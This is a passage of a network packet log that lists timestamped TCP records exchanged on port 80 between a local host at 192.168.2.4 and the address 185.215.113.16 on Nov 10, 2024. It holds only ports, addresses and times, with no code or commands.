Nov 10, 2024 19:44:29.262067080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262103081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262121916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262131929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262137890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262170076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262173891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262182951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262208939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262232065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262249947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262258053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262296915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262574911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262584925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262622118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262646914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262654066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262665987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262696028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262702942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262712955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262727976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262757063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262840033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262850046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262867928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262888908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262907982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.262924910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262934923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262952089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262963057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262984037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262990952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.263015985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.263848066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.263858080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.263875961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.263909101 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.263926983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264038086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264146090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264153957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264184952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264206886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264225960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264334917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264354944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264364958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264374018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264388084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264399052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264450073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264468908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264483929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264496088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264516115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264549971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264605045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264705896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264714956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264733076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264739990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264750957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264763117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264769077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264784098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264792919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264812946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264832020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264839888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264853001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264863014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264873981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264883041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264892101 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264904976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264916897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264925957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264935017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.264945984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264966965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264976025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.264983892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265002012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265006065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265017986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265028954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265036106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265048981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265060902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265069962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265080929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265094995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265103102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265110016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265120983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265136003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265156031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265192986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265201092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265217066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265223980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265233040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265239000 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265254974 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265270948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265431881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265441895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265458107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265466928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265479088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265494108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265506029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265515089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265522003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265533924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265544891 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265549898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265558958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265569925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265578032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265587091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265599012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265616894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265621901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265633106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265646935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265655041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265688896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265696049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265705109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265727997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265733957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265743971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265753984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265784979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265810013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265819073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265836000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265842915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265853882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265862942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265871048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265901089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265928984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265959024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.265974998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.265985012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266007900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266022921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266114950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266125917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266143084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266153097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266160011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266185045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266189098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266197920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266212940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266218901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266232014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266241074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266252041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266264915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266279936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266295910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266427994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266437054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266465902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266485929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.266881943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.266998053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267008066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267023087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267035961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267043114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267060995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267069101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267076969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267093897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267102003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267111063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267119884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267127037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267139912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267146111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267158031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267164946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267175913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267200947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267347097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267355919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267376900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.267388105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.267414093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.310828924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.310873985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.310883045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.310899973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.310949087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.310995102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.344846964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.344856977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.344862938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.344906092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.344914913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.344933987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.344953060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.344979048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.344994068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345005989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345022917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345046043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345057011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345066071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345077991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345087051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345097065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345108986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345123053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345132113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345141888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345155001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345161915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345174074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345180035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345191002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345199108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345207930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345220089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345226049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.345235109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.345263958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.377051115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377060890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377068043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377077103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377090931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377115011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377129078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377141953 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377147913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.377162933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.377197981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.377214909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379156113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379164934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379183054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379196882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379214048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379250050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379260063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379268885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379283905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379292011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379307032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379321098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379352093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379373074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379381895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379405022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379411936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379426956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379445076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379578114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379622936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379642963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379652023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379676104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379707098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379725933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379734993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379755020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379771948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379800081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.379868031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.379992962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380002022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380022049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380031109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380038023 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.380068064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.380091906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380109072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380117893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380125046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.380136013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380147934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380153894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.380166054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.380181074 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.380197048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381031990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381069899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381081104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381108999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381128073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381134987 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381148100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381165028 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381177902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381185055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381192923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381208897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381223917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381248951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381412029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381510019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381519079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381536961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381560087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381577969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381637096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381645918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381669044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381675005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381685019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381694078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381711006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381719112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381731033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381742001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381747961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381759882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381784916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381793022 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381803989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381819963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381825924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381834984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381849051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381863117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381870031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381880999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381892920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381907940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381915092 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381925106 CET	80	49762	185.215.113.16	192.168.2.4
